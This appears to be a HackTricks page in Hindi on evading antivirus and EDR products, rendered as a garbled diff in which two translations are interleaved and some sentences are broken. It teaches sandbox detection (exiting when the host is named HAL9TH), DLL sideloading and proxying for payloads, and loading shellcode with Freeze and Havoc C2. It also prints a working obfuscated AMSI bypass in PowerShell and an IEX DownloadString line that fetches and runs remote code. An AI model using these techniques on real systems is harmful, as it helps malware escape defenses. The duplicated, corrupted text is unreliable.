<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके**
* क्या आप **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** पर मुझे **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, [**hacktricks repo**](https://github.com/carlospolop/hacktricks) में PRs सबमिट करके और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**यह पृष्ठ लिखा गया है** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
**इस पेज को** [**@m2rc\_p**](https://twitter.com/m2rc\_p)** ने लिखा है!**
## **AV टालने की मेथडोलॉजी**
## **AV Evasion Methodology**
वर्तमान में, AVs एक ाइल को जांचने के लिए विभिन्न तकनीकों का उपयोग करते हैं, स्थायी पता लगाना, गतिशील विश्लेषण, और अधिक उन्नत EDRs के लिए आचरणात्मक विश्लेषण।
वर्तमान में, AVs फाइल को मैलिशस है या नहीं यह जांचने के लिए विभिन्न तरीके उपयोग करते हैं, स्टैटिक डिटेक्शन, डायनामिक विश्लेषण, और अधिक उन्नत EDRs के लिए, व्यवहारिक विश्लेषण।
### **स्थायी पता लगाना**
### **स्टैटिक डिटेक्शन**
स्थायी पता लगाने के लिए, एक बाइनरी या स्क्रिप्ट में ज्ञात खतरनाक स्ट्रिंग या बाइट के सरगर्मियों को झंझट करके और फ़ाइल से जानकारी निकालकर (जैसे फाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि) प्राप्त करके प्राप्त किया जाता है। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको आसानी से पकड़ लिया जा सकता है, क्योंकि उन्हें संशोधित और खतरनाक माना जा सकता है। इस प्रकार की पता लगाने से बचने के लिए कुछ तरीके हैं:
स्टैटिक डिटेक्शन को बाइनरी या स्क्रिप्ट में ज्ञात मैलिशस स्ट्रिंग्स या बाइट्स के अर्रेज को फ्लैगिंग करके, और फाइल से स्वयं की जानकारी निकालकर (जैसे कि फाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि) हासिल किया जाता है। इसका मतलब है कि ज्ञात सार्वजनिक टूल्स का उपयोग करने से आप अधिक आसानी से पकड़े जा सकते हैं, क्योंकि उन्हें संभवतः विश्लेषण किया गया है और मैलिशस के रूप में फ्लैग किया गया है। इस प्रकार के डिटेक्शन से बचने के कुछ तरीके हैं:
* **एन्क्रिप्शन**
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV क आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको कुछ तरह के लोडर की आवश्यकता होगी जो प्रोग्राम को डिक्रिप्ट करके और मेमोरी में चलाने के लिए होगा
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको मेमोरी में प्रोग्राम को डिक्रिप्ट करने और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी
* **ओब्स्क्यूरेशन**
* **ऑब्फस्केशन**
कभी-कभी आपको बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की जरूरत होती है ताकि यह AV को पार कर सके, लेकिन यह कार्य समय लेने वाला कार्य हो सकता है आपको ओब्स्क्यूरेट करने की कोशिश कर रहे हैं
कभी-कभी आपको AV को पार करने के लिए अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की जरूरत होती है, लेकिन यह आपके द्वारा ऑब्फस्केट करने की कोशिश कर रहे हैं उसके आधार पर एक समय लेने वाला कार्य हो सकता है।
* **कस्टम टूलिंग**
यदि आप अपने खुद के उपकरण विकसित करते हैं, तो कोई ज्ञात खराब हस्ताक्षर नहीं होंगे, लेकिन इसमें बहुत समय और प्रयास लगेगा
यदि आप अपने स्वयं के टूल्स विकसित करते हैं, तो कोई ज्ञात बुरे हस्ताक्षर नहीं होंगे, लेकिन इसमें बहुत समय और प्रयास लगता है
{% hint style="info" %}
Windows Defender स्थायी पता लगाने के लिए एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह बुनियादी रूप से फ़ाइल को कई सेगमेंट में विभाजित करता है और फिर डिफ़ेंडर को प्रत
## EXEs बनाम DLLs
Windows Defender स्टैटिक डिटेक्शन के खिलाफ जांच करने का एक अच्छा तरीका [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) है। यह मूल रूप से फाइल को कई खंडों में विभाजित करता है और फिर Defender को प्रत्येक एक को व्यक्तिगत रूप से स्कैन करने का कार्य देता है, इस तरह, यह आपको बिल्कुल बता सकता है कि आपके बाइनरी में कौन से स्ट्रिंग्स या बाइट्स फ्लैग किए गए हैं।
{% endhint %}
जब भी संभव हो, हमेशा **उपयोग करने के लिए DLLs को प्राथमिकता दें**, मेरे अनुभव के अनुसार, DLL फ़ाइलें आमतौर पर **कम डिटेक्ट की जाती हैं** और विश्लेषित की जाती हैं, इसलिए यह कुछ मामलों में पहचान से बचने के लिए एक बहुत ही सरल ट्रिक है (यदि आपके पेलोड को किसी तरह से DLL के रूप में चलाने का कोई तरीका है तो बेशक)
मैं आपको व्यावहारिक AV Evasion के बारे में इस [YouTube प्लेलिस्ट](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) को देखने की अत्यधिक सिफारिश करता हूँ
हम इस छवि में देख सकते हैं कि Havoc के एक DLL पेलोड का antiscan.me में एक 4/26 डिटेक्शन दर है, जबकि EXE पेलोड का एक 7/26 डिटेक्शन दर है।
### **डायनामिक विश्लेषण**
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>antiscan.me में एक सामान्य Havoc EXE पेलोड बनाम एक सामान्य Havoc DLL का तुलनात्मक विश्लेषण</p></figcaption></figure>
डायनामिक विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और मैलिशस गतिविधि के लिए देखता है (जैसे कि आपके ब्राउज़र के पासवर्ड्स को डिक्रिप्ट करने और पढ़ने की कोशिश करना, LSASS पर मिनिडंप करना, आदि)। यह भाग सैंडबॉक्स से बचने के लिए थोड़ा जटिल हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप कर सकते हैं।
अब हम कुछ ट्रिक्स दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ अधिक संकर्षी बनाने के लिए उपयोग कर सकते हैं।
* **निष्पादन से पहले स्लीप** यह कैसे लागू किया गया है, इसके आधार पर, AV के डायनामिक विश्लेषण को बायपास करने का एक शानदार तरीका हो सकता है। AV के पास उपयोगकर्ता के कार्यप्रवाह को बाधित न करने के लिए फाइलों को स्कैन करने का बहुत कम समय होता है, इसलिए लंबे स्लीप का उपयोग करने से बाइनरीज का विश्लेषण बाधित हो सकता है। समस्या यह है कि कई AV के सैंडबॉक्स स्लीप को कैसे लागू किया गया है, इसके आधार पर स्लीप को बस स्किप कर सकते हैं।
* **मशीन के संसाधनों की जांच** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथ वे उपयगकर्त मश कर सकते हैं आप यह बहुत रचनत्मक सकते हैं, उदहरण के ि CPU के पम ंच करके यह तक ि फैन गति ंच करके, सब कुछ सैंडबक्स में गू नह ि एगा।
* **मशीन-विशिष्ट जांच** यदि आप "contoso.local" डोमेन से जुड़े उपयोगकर्ता के कार्यस्थान को लक्षित करना चाहते हैं, तो आप कंप्यूटर के डोमेन की जांच कर सकते हैं कि क्या यह आपके द्वारा निर्दिष्ट वाले से मेल खाता है, यदि नहीं, तो आप अपने प्रोग्राम को बाहर निकाल सकते हैं।
## DLL साइडलोडिंग और प्रॉक्सीकरण
यह पता चला है कि Microsoft Defender के सैंडबॉक्स का कंप्यूटरनाम HAL9TH है, इसलिए, आप अपने मैलवेयर में कंप्यूटर के नाम की जांच कर सकते हैं विस्फोट से पहले, यदि नाम HAL9TH से मेल खाता है, इसका मतलब है कि आप डिफेंडर के सैंडबॉक्स के अंदर हैं, इसलिए आप अपने प्रोग्राम को बाहर निकाल सकते हैं।
**DLL साइडलोडिंग** उद्यमी द्वारा उपयोग की जाने वाली DLL खोज क्रम का लाभ उठाता है और पीड़ित एप्लिकेशन और घातक पेलोड (या पेलोड्स) को एक साथ रखकर उपयोग करता है।
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>स्रोत: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
आप [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित पावरशेल स्क्रिप्ट का उपयोग करके DLL साइडलोडिंग के प्रति संकटग्रस्त कार्यक्रम की जांच कर सकते हैं:
{% code overflow="wrap" %}
सैं
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
@ -61,17 +61,17 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
यह कमांड "C:\Program Files\\" के अंदर DLL हाइजैकिंग के प्रोग्रामों की सूची और वे DLL फ़ाइलें जो वे लोड करने की कोशिश करते हैं, को आउटपुट करेगा।
यह कमांड "C:\Program Files\\" में DLL हाइजैकिंग के लिए संवेदनशील प्रोग्रामों की सूची और उनके द्वारा लोड की जाने वाली DLL फाइलों को आउटपुट करेगा।
मैं आपको सलाह देता हूँ कि आप **DLL हाइजैक करने योग्य/साइडलोड करने योग्य प्रोग्रामों की खोज करें**, यह तकनीक सही ढंग से किया जाए तो बहुत छिपकली होती है, लेकिन यदि आप सार्वजनिक रूप से ज्ञात DLL साइडलोड करने योग्य प्रोग्रामों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
मैं आपको **खुद DLL Hijackable/Sideloadable प्रोग्रामों का पता लगाने की दृढ़ता से सिफारिश करता हूँ**, यह तकनीक ठीक से की जाए तो काफी चुपके से हो सकती है, लेकिन अगर आप सार्वजनिक रूप से ज्ञात DLL Sideloadable प्रोग्रामों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
केवल एक खतरनाक DLL को एक प्रोग्राम की लोड करने की उम्मीद के नाम से रखने से, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम की उम्मीद होती है कि उस DLL में कुछ विशिष्ट फ़ंक्शन होंगे, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सी/फ़ॉरवर्डिंग** कहा जाता है
केवल एक दुर्भावनापूर्ण DLL को उस नाम से रखने से, जिसे प्रोग्राम लोड करने की उम्मीद करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट फंक्शन्स की उम्मीद करता है, इस समस्या को ठीक करने के लिए, हम **DLL Proxying/Forwarding** नामक एक और तकनीक का उपयोग करेंगे।
**DLL प्रॉक्सी** प्रोक्सी (और खतरनाक) DLL से प्रोग्राम द्वारा किए जाने वाले कॉल को मूल DLL को फ़ॉरवर्ड करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को संरक्षित रखता है और आपके पेलोड के निष्पादन को संभाल सकता है।
**DLL Proxying** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL तक कॉल्स को फॉरवर्ड करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखता है और आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
मैं [@flangvik](https://twitter.com/Flangvik/) के [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग कर रहा हूँ
मैं [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करूँगा जो [@flangvik](https://twitter.com/Flangvik/) से है
ये हैं मैंने फ़ॉलो किए गए कदम:
मैंने जो कदम उठाए वे ये हैं:
{% code overflow="wrap" %}
```
@ -82,7 +82,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
अंतिम कमांड हमें 2 फ़ाइलें देगा: एक DLL स्रोत कोड टेम्पलेट और मूल नाम बदलकर रखी DLL।
अंतिम कमांड हमें 2 फाइलें देगा: एक DLL सोर्स कोड टेम्पलेट, और मूल पुनः नामित DLL।
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -92,23 +92,23 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
ये हैं परिणाम:
ये परिणाम हैं:
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
हमारे शेलकोड (SGN के साथ एनकोड किया गया) और प्रॉक्सी DLL दोनों क [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन र है! मैं इसे सफलता कहूगा।
हमारे शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एनकोड किया गया है) और प्रॉक्सी DLL दोनों क [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन रेट है! मैं इसे सफलता कहूगा।
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
मैं **ऊच्च अवधारणा** करता हूँ कि आप [S3cur3Th1sSh1t के twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और इसके अलावा [ippsec के वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) को भी देखें ताकि हमारे बारे में और अधिक जानकारी प्राप्त करें।
मैं **दृढ़ता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t के ट्विच VOD](https://www.twitch.tv/videos/1644171543) को देखें जो DLL Sideloading के बारे में है और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) भी देखें ताकि आप जो हमने चर्चा की है उसके बारे में और गहराई से जान सकें।
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze एक पेलोड टूलकिट है जिसका उपयग EDRs को अनदेखा करने के लिए सस्पेंडेड प्रोसेस, डायरेक्ट सिसकॉल्स और वैकल्पिक निष्पादन विधियों का उपयोग करके किया जा सकता है।`
`Freeze एक पेलोड टूलकिट है जो सस्पेंडेड प्रोसेसेस, डायरेक्ट सिस्कॉल्स, और वैकल्पिक एक्जीक्यूशन मेथड्स का उपयोग करके EDRs को बायपास करने के लिए है`
आप Freeze का उपयोग करके अपने शेलकोड को एक छिपीले तरीके से लोड और निष्पादित कर सकते हैं।
आप Freeze का उपयोग करके अपने शेलकोड को एक चुपके तरीके से लोड और निष्पादित कर सकते हैं।
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -118,46 +118,46 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
टालना बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है वह कल पकड़ लिया जा सकता है, इसलिए कभी एक ही उपकरण पर निर्भर न करें, यदि संभव हो तो, कई टालने तकनीकों को जोड़ने का प्रयास करें।
Evasion एक बिल्ली और चूहे का खेल है, जो आज काम करता है वह कल पकड़ा जा सकता है, इसलिए कभी भी केवल एक उपकरण पर निर्भर न रहें, यदि संभव हो तो, कई Evasion तकनीकों को जोड़ने का प्रयास करें।
{% endhint %}
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
## AMSI (Anti-Malware Scan Interface)
AMSI को "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। पहले, AVs केवल **डिस्क पर फ़ाइलें** स्कैन करने के क्षमता रखते थे, इसलिए यदि आप किसी तरह से पेलोड **सीधे मेमोरी में** निष्पादित कर सकते थे, तो AV कुछ भी नहीं कर सकता था इसे रोकने के लिए, क्योंकि इसकी पर्याप्त दृश्यता नहीं थी।
AMSI का निर्माण "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए किया गया था। प्रारंभ में, AV केवल **डिस्क पर फाइलों** को स्कैन करने में सक्षम थे, इसलिए यदि आप किसी तरह से payloads को **सीधे in-memory** निष्पादित कर सकते हैं, तो AV इसे रोकने के लिए कुछ भी नहीं कर सकता था, क्योंकि उसके पास पर्याप्त दृश्यता नहीं थी।
AMSI सुविधा निम्नलिखित Windows के इन घटकों में सम्मिलित है।
AMSI सुविधा Windows के इन घटकों में एकीकृत है।
* उपयोगकर्ता खाता नियंत्रण, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उच्चारण)
* पावरशेल (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन)
* विंडोज स्क्रिप्ट होस्ट (wscript.exe और cscript.exe)
* जावास्क्रिप्ट और वीबीस्क्रिप्ट
* ऑफिस VBA मैक्रो
* User Account Control, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उन्नयन)
* PowerShell (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन)
* Windows Script Host (wscript.exe और cscript.exe)
* JavaScript और VBScript
* Office VBA macros
यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है जो स्क्रिप्ट सामग्री को अनगढ़ और अविलक्षित रूप में प्रकट करता है।
यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार का निरीक्षण करने की अनुमति देता है, स्क्रिप्ट सामग्री को एक ऐसे रूप में प्रकट करके जो दोनों अनएन्क्रिप्टेड और अनऑब्फस्केटेड है।
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर Windows Defender पर निम्नलिखित चेतावनी प्रदर्शित होगी
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने से Windows Defender पर निम्नलिखित अलर्ट उत्पन्न होगा
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
ध्यान दें कि यह `amsi:` और फिर स्क्रिप्ट चलाने के लिए निर्धारित कार्यक्रम का पथ, इस मामले में powershell.exe, पहले जोड़ता है।
ध्यान दें कि यह `amsi:` को कैसे जोड़ता है और फिर उस एक्जीक्यूटेबल का पथ जिससे स्क्रिप्ट चली, इस मामले में, powershell.exe
हमने किसी भी फ़ाइल को डिस्क पर नहीं छोड़ा, लेकिन अभी भी AMSI के कारण मेमोरी में पकड़ गए।
हमने डिस्क पर कोई फाइल नहीं डाली, लेकिन फिर भी AMSI के कारण in-memory में पकड़े गए।
AMSI को टालने के कुछ तरीके हैं:
AMSI को बायपास करने के कुछ तरीके हैं:
* **अप्रत्याशितता**
* **Obfuscation**
क्योंकि AMSI मुख्य रूप से स्थिर पकड़ों के साथ काम करता है, इसलिए आपके लोड करने की कोशिश की जाने वाली स्क्रिप्टों को संशोधित करना टालने के लिए एक अच्छा तरीका हो सकता है।
चूंकि AMSI मुख्य रूप से स्थिर पतासाजी के साथ काम करता है, इसलिए आप जो स्क्रिप्ट लोड करने की कोशिश करते हैं उसे संशोधित करना पतासाजी का पता लगाने से बचने का एक अच्छा तरीका हो सकता है।
हालांकि, AMSI को यदि इसके पास कई स्तर हो तो भी स्क्रिप्टों को अनवरोधित करने की क्षमता होती है, इसलिए यह टालने के लिए एक बुरा विकल्प हो सकता है। यह इस पर निर्भर करता है कि कितनी चीजें ने टाला दिया गया है।
हालांकि, AMSI के पास कई परतों के बावजूद स्क्रिप्ट्स को अनऑब्फस्केट करने की क्षमता है, इसलिए obfuscation कैसे किया जाता है इस पर निर्भर करते हुए एक खराब विकल्प हो सकता है। इससे बचना इतना सीधा नहीं है। हालांकि, कभी-कभी, आपको बस कुछ वेरिएबल नामों को बदलने की जरूरत होती है और आप अच्छे होंगे, इसलिए यह निर्भर करता है कि कितना कुछ चिह्नित किया गया है।
* **AMSI टालना**
* **AMSI Bypass**
AMSI को पावरशेल (और cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया जाता है, इसलिए इसे आसानी से दुर्गम किया जा सकता है, यहां तक कि अनधिकृत उपयोगकर्ता के रूप में चलाने पर भी। AMSI के इस कमी के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से टालने के कई तरीके खोजे हैं।
चूंकि AMSI को powershell (साथ ही cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया जाता है, इसलिए इसे आसानी से छेड़छाड़ करना संभव है यहां तक कि एक अनाधिकृत उपयोगकर्ता के रूप में चल रहा हो। AMSI के कार्यान्वयन में इस दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग को बायपास करने के कई तरीके खोजे हैं।
**त्रुटि को बलवान बनाना**
**एक त्रुटि को मजबूर करना**
AMSI प्रारंभीकरण को विफल करने (amsiInitFailed) के लिए मजबूर करने से वर्तमान प्रक्रिया के लिए कोई स्कैन प्रारंभ नहीं होगा। इसे पहले [मैट ग्रेबर](https://twitter.com/mattifestation) ने खुलासा किया था और माइक्रोसॉफ्ट ने इसका व्यापक उपयोग रोकने के लिए एक हस्ताक्षर विकसित किया है।
AMSI प्रारंभीकरण को विफल करने के लिए मजबूर करना (amsiInitFailed) का परिणाम यह होगा कि वर्तमान प्रक्रिया के लिए कोई स्कैन शुरू नहीं किया जाएगा। मूल रूप से यह [Matt Graeber](https://twitter.com/mattifestation) द्वारा प्रकट किया गया था और Microsoft ने व्यापक उपयोग को रोकने के लिए एक हस्ताक्षर विकसित किया है।
{% code overflow="wrap" %}
```powershell
@ -165,9 +165,9 @@ AMSI प्रारंभीकरण को विफल करने (amsiIni
```
{% endcode %}
वर्तमान पावरशेल प्रक्रिया के लिए AMSI को अयोग्य बनाने के लिए एक पावरशेल कोड की एक पंक्ति ही काफी थी। यह पंक्ति बेशक AMSI द्वारा फ्लैग की गई है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता होती है।
केवल एक पंक्ति का powershell कोड था जिसने AMSI को वर्तमान powershell प्रक्रिया के लिए अनुपयोगी बना दिया। यह पंक्ति AMSI द्वारा स्वयं ही चिह्नित की गई है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
यहां मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से एक संशोधित AMSI बाईपास लिया है।
यहाँ एक सशोधित AMSI बायपास है जिसे मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
```powershell
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -181,41 +181,59 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
ध्यान रखें, यह संभवतः इस पोस्ट के बाहर आने के बाद चिह्नित हो जाएगा, इसलिए यदि आपकी योजना अप्रकट रहने की है, तो आपको कोई कोड प्रकाशित नहीं करना चाहिए।
**मेमोरी पैचिंग**
यह तकनीक पहले से ही [@RastaMouse](https://twitter.com/\_RastaMouse/) द्वारा खोजी गई थी और इसमें amsi.dll में "AmsiScanBuffer" फ़ंक्शन के लिए पता लगाने और इसे E\_INVALIDARG कोड के लिए वापस लौटने के निर्देशों के साथ अधिलेखित करने का शामिल होता है (जो उपयोगकर्ता द्वारा प्रदान किए गए इनपुट की स्कैनिंग के लिए जिम्मेदार है), इस तरह, वास्तविक स्कैन का परिणाम 0 के रूप में लौटेगा, जो स्वच्छ परिणाम के रूप में व्याख्या की जाती है।
इस तकनीक की खोज मूल रूप से [@RastaMouse](https://twitter.com/\_RastaMouse/) ने की थी और इसमें "AmsiScanBuffer" फंक्शन के लिए पता खोजना शामिल है जो amsi.dll में होता है (जो उपयोगकर्ता-प्रदत्त इनपुट को स्कैन करने के लिए जिम्मेदार होता है) और इसे E_INVALIDARG के कोड के लिए निर्देशों के साथ ओवरराइट करना, इस तरह, वास्तविक स्कैन का परिणाम 0 लौटेगा, जिसे साफ परिणाम के रूप में व्याख्या किया जाता है।
{% hint style="info" %}
अधिक विस्तृत व्याख्या के लिए कृपया [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
कृपया अधिक विस्तृत स्पष्टीकरण के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
{% endhint %}
AMSI को पावरशेल के साथ बाइपास करने के लिए भी कई अन्य तकनीकें हैं, [**इस पेज**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रेपो](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) की जांच करें और उनके बारे में और अधिक जानें।
पावरशेल के साथ AMSI को बायपास करने के लिए कई अन्य तकनीकें भी प्रयोग की जाती हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रेपो](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) को देखें ताकि उनके बारे में और जान सकें।
## अस्पष्टीकरण
या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से हर नए Powersh को पैच करेगी
इसमें कई उपकरण हैं जो इस्तेमाल किए जा सकते हैं ताकि C# स्पष्ट-पाठ को **अस्पष्ट किया जा सके**, **मेटाप्रोग्रामिंग टेम्पलेट** को कंपाइल बाइनरी बनाने के लिए या **कंपाइल बाइनरी को अस्पष्ट करने** के लिए जैसे:
## ऑब्फस्केशन
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# अस्पष्टीकरणकर्ता**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) कंपाइलेशन सुइट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अस्पष्टीकरण](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टैम्पर-प्रूफिंग के माध्यम से वृद्धि स्थानक सुरक्षा प्रदान कर सके।
